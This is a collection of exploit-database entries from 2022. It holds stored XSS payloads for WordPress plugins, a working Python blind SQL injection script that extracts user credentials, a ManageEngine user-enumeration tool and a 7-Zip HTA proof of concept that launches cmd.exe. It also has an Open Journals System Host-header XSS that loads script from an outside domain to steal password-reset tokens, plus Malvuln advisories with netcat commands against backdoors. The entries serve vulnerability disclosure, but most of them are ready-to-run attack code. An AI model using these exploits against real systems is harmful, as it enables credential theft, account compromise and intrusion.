<pre><code># Exploit Title: WordPress Plugin Popup Maker <1.16.5 - Persistent Cross-Site Scripting (Authenticated)<br /># Date: 2022-03-03<br /># Exploit Author: Roel van Beurden<br /># Vendor Homepage: https://wppopupmaker.com<br /># Software Link: https://downloads.wordpress.org/plugin/popup-maker.1.16.4.zip<br /># Version: <1.16.5<br /># Tested on: WordPress 5.9 on Ubuntu 20.04<br /><br /><br />1. Description:<br />----------------------<br />WordPress Plugin Popup Maker <1.16.5 does not sanitise and escape some of its popup settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.<br /><br /><br />2. Proof of Concept:<br />----------------------<br />Create Popup > Popup Settings > Triggers > Add New Cookie > Add > Cookie Time (overwrite the default '1 month' with XSS payload)<br />Click 'Add' what triggers the XSS payload<br /><br />Payload examples:<br /><br /><script>alert('XSS');</script><br /><img src=x onerror=alert('XSS')><br /><br /></code></pre>
<pre><code># Exploit Title: Responsive Online Blog 1.0 - Blind Boolean-based SQLi <br /># Date: 2022-04-16<br /># Exploit Author: Gideon Kamioka (@w1ezl)<br /># Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html<br /># Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL<br /># Version: v1.0<br /># Tested on: XAMPP Linux/7.4.7<br /><br /># Vulnerability: An attacker can perform a blind boolean-based SQL injection attack,<br /># which can provide attackers with access to the username and md5 hash of all site users.<br /># Vulnerable file: /category.php<br /><br /># Usage: python3 exploit.py http://localhost/blog/category.php<br /><br /># Proof of Concept:<br /><br />#!/usr/bin/python3<br /><br />import sys,requests,re<br /><br />def cred_Length(ip,p,max):<br /> f = requests.get(ip, params=f'id={p.replace("[i]",str(125))}', verify=False)<br /> failLen=len(f.text)<br /><br /> for k in reversed(range(1,max)):<br /> r = requests.get(ip, params=f'id={p.replace("[i]",str(k))}', verify=False)<br /> if (len(r.text) != failLen):<br /> return k<br /> return None<br /><br />def search_Credentials(ip, p):<br /> charlist="abcdefghijklmnopqrstuvwxyz0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\\'()*+,-./:;<=>?@{|}~[]^_`"<br /> f = requests.get(ip, params=f'id={p.replace("[CHAR]",str(125))}', verify=False)<br /> failLen=len(f.text)<br /><br /> for k in charlist:<br /> r = requests.get(ip, params=f'id={p.replace("[CHAR]",str(ord(k)))}', verify=False)<br /> if (len(r.text) != failLen):<br /> return ord(k)<br /> return None<br /><br />def logo():<br /> art = R'''<br /> ░░░░ ░░░░<br /> ░░░░░░░░ ░░░░░░░░<br /> ░░░░░░░░ ░░░░░░░░<br /> ░░░░░░░░░░░░░░░░░░░░░░<br /> ░░░░░░░░░░░░░░░░░░░░░░░░░░<br /> ░░░░░░░░░░░░░░░░░░░░░░░░░░<br /> ░░░░░░████░░░░░░████░░░░░░<br /> ░░░░░░████░░░░░░████░░░░░░<br /> ░░░░░░████░░░░░░████░░░░░░<br /> ░░░░░░████░░░░░░████░░░░░░<br /> ░░░░░░░░░░░░░░░░░░░░░░<br /> ░░░░░░░░░░░░░░░░░░<br /> '''<br /> info = "\033[0;34mResponsive Online Blog 1.0 /category.php\033[0m -\n Boolean based Blind Credential Extractor"<br /> credits = 'Created by \033[1;35m@w1ezl\033[0m'.center(80)<br /> warning= "\033[3mThis script could take up to \033[1;31;103m10 minuites\033[0m\033[3m to extract a single credential.\nGo get cofee and chill or something.\033[0m"<br /> print(f"{art}\n{info}\n{credits}\n\n{warning}\n\n")<br /><br />def main():<br /> logo()<br /><br /> if len(sys.argv) != 2:<br /> print(f"(+) Usage python3 {sys.argv[0]} <target>")<br /> print(f"(+) Eg: python3 {sys.argv[0]} http://localhost/blog/category.php")<br /> sys.exit(-1)<br /><br /> target = sys.argv[1]<br /> payloadA = "1'AND+(SELECT+count(*)+FROM+membership_users)=[i]--+-"<br /> payloadB = "1'AND+length(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),1,60))=[i]--+-"<br /> payloadC = "1'AND+ascii(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),[i],1))=[CHAR]--+-"<br /> print("(+) Starting Exploit:")<br /><br /> n = cred_Length(target, payloadA, 30)<br /><br /> if n is None:<br /> print("(+) No creds Found:")<br /> print("(+) exiting...")<br /> sys.exit(-1)<br /> else:<br /> print(f"(+) {n-1} creds Found:")<br /><br /> for i in range(0,n-1):<br /> b = payloadB.replace("[o]",str(i))<br /> credLen = cred_Length(target, b, 60)<br /><br /> for j in range (1, credLen+1):<br /> p = payloadC.replace("[i]",str(j))<br /> c = p.replace("[o]",str(i))<br /> sys.stdout.write(chr(search_Credentials(target, c)))<br /> sys.stdout.flush()<br /> print('')<br /> print("done")<br /><br />if __name__ == '__main__':<br /> main()<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/4b9a42ca1e65cf0a7febbe18f397ef24.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Psychward.03.a<br />Vulnerability: Weak Hardcoded Password<br />Description: The malware listens on TCP port 13013. Authentication is required, however the password "m4sturb4t10n" is weak and hardcoded in cleartext within the PE file.<br />Family: Psychward<br />Type: PE32<br />MD5: 4b9a42ca1e65cf0a7febbe18f397ef24<br />Vuln ID: MVID-2022-0558<br />Dropped files: winvxd.exe<br />Disclosure: 04/18/2022<br /><br /><br />Exploit/PoC:<br />C:\>nc64.exe x.x.x.x 13013<br />pwd m4sturb4t10n m4sturb4t10n<br />psychward revised 0.3, awaiting your command<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: ManageEngine ADSelfService Plus 6.1 - User Enumeration<br /># Exploit Author: Metin Yunus Kandemir<br /># Vendor Homepage: https://www.manageengine.com/<br /># Software Link: https://www.manageengine.com/products/self-service-password/download.html<br /># Version: ADSelfService 6.1 Build 6121<br /># Tested Against: Build 6118 - 6121<br /># Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md<br /><br /># !/usr/bin/python3<br />import requests<br />import sys<br />import time<br />import urllib3<br />from urllib3.exceptions import InsecureRequestWarning<br /><br />"""<br />The domain users can be enumerated like userenum module of the kerbrute tool using this exploit.<br />If you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive.<br />"""<br /><br />def request(target, user):<br /> urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br /> url = target + 'ServletAPI/accounts/login'<br /> data = {"loginName": user}<br /> headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}<br /> req = requests.post(url, data=data, headers=headers, verify=False)<br /><br /> # For debugging<br /> # print("[*] Response for " + user + ": " + req.text.strip())<br /> if 'PASSWORD' in req.text:<br /> print("[+] " + user + " is VALID!")<br /> elif 'Your account has been disabled' in req.text:<br /> print("[+] " + user + " account has been DISABLED.")<br /> elif 'Your account has expired' in req.text:<br /> print("[+] " + user + " account has EXPIRED.")<br /> elif 'Enter the text as shown in the image.' in req.text:<br /> print("[!] The exploit doesn't detect expired and disabled users. Please, run it after the 30 minutes. ")<br /> elif 'Permission Denied.' in req.text:<br /> print("[-] " + user + " is not found.")<br /><br /><br />def get_users(target, file):<br /> try:<br /> file = open(file, "r")<br /> for line in file:<br /> line = line.strip()<br /> time.sleep(0.5)<br /> request(target, user=line)<br /> except FileNotFoundError:<br /> print("[-] File not found!")<br /> sys.exit(1)<br /><br /><br />def main(args):<br /> if len(args) != 3:<br /> print("[*] Usage: %s url usernames_file" % (args[0]))<br /> print("[*] Example: %s https://target/ /tmp/usernames.txt" % (args[0]))<br /> sys.exit(1)<br /> get_users(target=args[1], file=args[2])<br /><br /><br />if __name__ == "__main__":<br /> main(args=sys.argv)<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: 7-zip - Code Execution / Local Privilege Escalation<br /># Exploit Author: Kagan Capar<br /># Date: 2020-04-12<br /># Vendor homepage: https://www.7-zip.org/<br /># Software link: https://www.7-zip.org/a/7z2107-x64.msi<br /># Version: 21.07 and all versions<br /># Tested On: Windows 10 Pro (x64)<br /># References: https://github.com/kagancapar/CVE-2022-29072<br /><br /># About:<br />7-Zip through 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area.<br /><br /># Proof of Concept:<br /><html><br /><head><br /><HTA:APPLICATION ID="7zipcodeexec"><br /><script language="jscript"><br />var c = "cmd.exe";<br />new ActiveXObject('WScript.Shell').Run(c);<br /></script><br /><head><br /><html><br /><br /></code></pre>
<pre><code># Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)<br /># Date: 31/01/2022<br /># Exploit Author: Hemant Kashyap<br /># Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649<br /># Version: PKP Open Journals System 2.4.8 >= 3.3<br /># Tested on: All OS<br /># CVE : CVE-2022-24181<br /># References: https://youtu.be/v8-9evO2oVg<br /><br />XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce:<br /><br /> 1) Go to this site: https://who's-using-ojs-software.com<br /> 2) And capture this request in burp , and send to repeater.<br /> 3) Add this after Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js></script><x=".com<br /> 4) And this click on send , after this right click on request and click on show response in browser , after this copy the request.<br /> 5) Paste this request in browser , and you'll see xss pop-up. Mitigation: Update to newer version.<br /><br /> This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8 all are vulnerable to xss via Host Header injection and steal password reset token vulnerability<br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/d9542df20f8df457747451dd9e16d1c0.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Hupigon.haqj<br />Vulnerability: Insecure Service Path<br />Description: The malware creates a service with an unquoted path. Third party attackers who can place an arbitrary executable under c:\ drive can potentially undermine the integrity of the malware by having it run theirs instead with SYSTEM privs.<br />Family: Hupigon<br />Type: PE32<br />MD5: d9542df20f8df457747451dd9e16d1c0<br />Vuln ID: MVID-2022-0557<br />Disclosure: 04/18/2022<br /><br />Exploit/PoC:<br />C:\dump>sc qc "Outlook Express"<br />[SC] QueryServiceConfig SUCCESS<br /><br />SERVICE_NAME: Outlook Express<br /> TYPE : 110 WIN32_OWN_PROCESS (interactive)<br /> START_TYPE : 2 AUTO_START<br /> ERROR_CONTROL : 0 IGNORE<br /> BINARY_PATH_NAME : C:\Program Files (x86)\Express.exe<br /> LOAD_ORDER_GROUP :<br /> TAG : 0<br /> DISPLAY_NAME : Outlook Express<br /> DEPENDENCIES :<br /> SERVICE_START_NAME : LocalSystem<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/9d18d318e017b513b9c6cd193ccdc6ff.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Trojan.Win32.TScash.c<br />Vulnerability: Insecure Permissions<br />Description: The malware writes a PE file with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. <br />Family: TScash<br />Type: PE32<br />MD5: 9d18d318e017b513b9c6cd193ccdc6ff<br />Vuln ID: MVID-2022-0555<br />Dropped files: tscash.exe<br />Disclosure: 04/18/2022<br /><br />Exploit/PoC:<br />C:\>cacls tscash.exe<br />C:\tscash.exe BUILTIN\Administrators:(ID)F<br /> NT AUTHORITY\SYSTEM:(ID)F<br /> BUILTIN\Users:(ID)R<br /> NT AUTHORITY\Authenticated Users:(ID)C<br /><br />C:\>dir tscash.exe<br /> Volume in drive C has no label.<br /><br /> Directory of C:\<br /><br />02/18/2013 04:48 PM 49,664 tscash.exe<br /> 1 File(s) 49,664 bytes<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin Videos sync PDF 1.7.4 - Stored Cross Site Scripting (XSS)<br /># Google Dork: inurl:/wp-content/plugins/video-synchro-pdf/<br /># Date: 2022-04-13<br /># Exploit Author: UnD3sc0n0c1d0<br /># Vendor Homepage: http://www.a-j-evolution.com/<br /># Software Link: https://downloads.wordpress.org/plugin/video-synchro-pdf.1.7.4.zip<br /># Category: Web Application<br /># Version: 1.7.4<br /># Tested on: CentOS / WordPress 5.9.3<br /># CVE : N/A<br /><br /># 1. Technical Description:<br />The plugin does not properly sanitize the nom, pdf, mp4, webm and ogg parameters, allowing <br />potentially dangerous characters to be inserted. This includes the reported payload, which <br />triggers a persistent Cross-Site Scripting (XSS).<br /> <br /># 2. Proof of Concept (PoC):<br /> a. Install and activate version 1.7.4 of the plugin.<br /> b. Go to the plugin options panel (http://[TARGET]/wp-admin/admin.php?page=aje_videosyncropdf_videos).<br /> c. Open the "Video example" or create a new one (whichever you prefer).<br /> d. Change or add in some of the displayed fields (Name, PDF file, MP4 video, WebM video or OGG video) <br /> the following payload:<br /> " autofocus onfocus=alert(/XSS/)>.<br /> e. Save the changes. "Edit" button.<br /> f. JavaScript will be executed and a popup with the text "XSS" will be displayed.<br /><br />Note: This change will be permanent until you modify the edited field.<br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/9a8150938bff3a17fa0169c3dc6dae85.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Loselove<br />Vulnerability: Denial of Service<br />Description: The malware listens on UDP ports 9329, 8329, 8322, 8131 and 8130. Attackers can send a large junk payload to UDP port 8131 causing it to crash.<br />Family: Loselove<br />Type: PE32<br />MD5: 9a8150938bff3a17fa0169c3dc6dae85<br />Vuln ID: MVID-2022-0554<br />Disclosure: 04/18/2022<br /><br />Memory Dump:<br />(fe4.10a0): Access violation - code c0000005 (first/second chance not available)<br />eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000<br />eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0 nv up ei pl nz ac pe nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216<br />ntdll!RtlAcquireSRWLockShared+0xb:<br />776e9fab 56 push esi<br /><br />0:000> .ecxr<br />eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000<br />eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0 nv up ei pl nz ac pe nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216<br />ntdll!RtlAcquireSRWLockShared+0xb:<br />776e9fab 56 push esi<br /><br />0:000> !analyze -v<br />*******************************************************************************<br />* *<br />* Exception Analysis *<br />* *<br />*******************************************************************************<br /><br />*** WARNING: Unable to verify checksum for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85<br />*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85<br /><br />FAULTING_IP: <br />KERNELBASE!RaiseException+62<br />74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h]<br /><br />EXCEPTION_RECORD: 0019f790 -- (.exr 0x19f790)<br />ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062)<br /> ExceptionCode: 0eedfade<br /> ExceptionFlags: 00000003<br />NumberParameters: 7<br /> Parameter[0]: 00411c67<br /> Parameter[1]: 041ac750<br /> Parameter[2]: ffffffff<br /> Parameter[3]: 0040e744<br /> Parameter[4]: 041bfc04<br /> Parameter[5]: 0019fd10<br /> Parameter[6]: 0019fcd0<br /><br />PROCESS_NAME: Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85<br /><br />ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<br /><br />EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<br /><br />EXCEPTION_PARAMETER1: 00000001<br /><br />EXCEPTION_PARAMETER2: 000a0fd4<br /><br />WRITE_ADDRESS: 000a0fd4 <br /><br />FOLLOWUP_IP: <br />KERNELBASE!RaiseException+0<br />74a10890 8bff mov edi,edi<br /><br />MOD_LIST: <ANALYSIS/><br /><br />NTGLOBALFLAG: 0<br /><br />APPLICATION_VERIFIER_FLAGS: 0<br /><br />CONTEXT: 0019f7e0 -- (.cxr 0x19f7e0)<br />eax=0019fc40 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040e744 edi=041bfc04<br />eip=74a108f2 esp=0019fc40 ebp=0019fc9c iopl=0 nv up ei pl nz ac po nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212<br />KERNELBASE!RaiseException+0x62:<br />74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fc94=ae6d973b<br />Resetting default scope<br /><br />ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]<br /><br />LAST_CONTROL_TRANSFER: from 0046361e to 74a108f2<br /><br />FAULTING_THREAD: ffffffff<br /><br />BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff<br /><br />PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff<br /><br />DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff<br /><br />STACK_TEXT: <br />0019fc40 74a108f2 kernelbase!RaiseException+0x62<br />0019fd18 0046361e backdoor_win32_loselove+0x6361e<br />0019fd70 0046353d backdoor_win32_loselove+0x6353d<br />0019fd8c 7720e0bb user32!_InternalCallWinProc+0x2b<br />0019fdb8 77218849 user32!InternalCallWinProc+0x20<br />0019fddc 7721b145 user32!UserCallWinProcCheckWow+0x1be<br />0019feac 772090dc user32!DispatchMessageWorker+0x4ac<br />0019ff18 772038c0 user32!DispatchMessageA+0x10<br />0019ff20 0044d058 backdoor_win32_loselove+0x4d058<br />0019ff74 00498514 backdoor_win32_loselove+0x98514<br />0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24<br />0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f<br />0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b<br /><br /><br />SYMBOL_NAME: kernelbase!RaiseException+0<br /><br />FOLLOWUP_NAME: MachineOwner<br /><br />MODULE_NAME: KERNELBASE<br /><br />IMAGE_NAME: KERNELBASE.dll<br /><br />DEBUG_FLR_IMAGE_TIMESTAMP: 0<br /><br />STACK_COMMAND: .cxr 000000000019F7E0 ; kb ; dds 19fc40 ; kb<br /><br />FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException<br /><br />BUCKET_ID: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0<br /><br />Exploit/PoC:<br />python -c "print('A'*12000)" | nc64.exe x.x.x.x 8131 -c -u<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
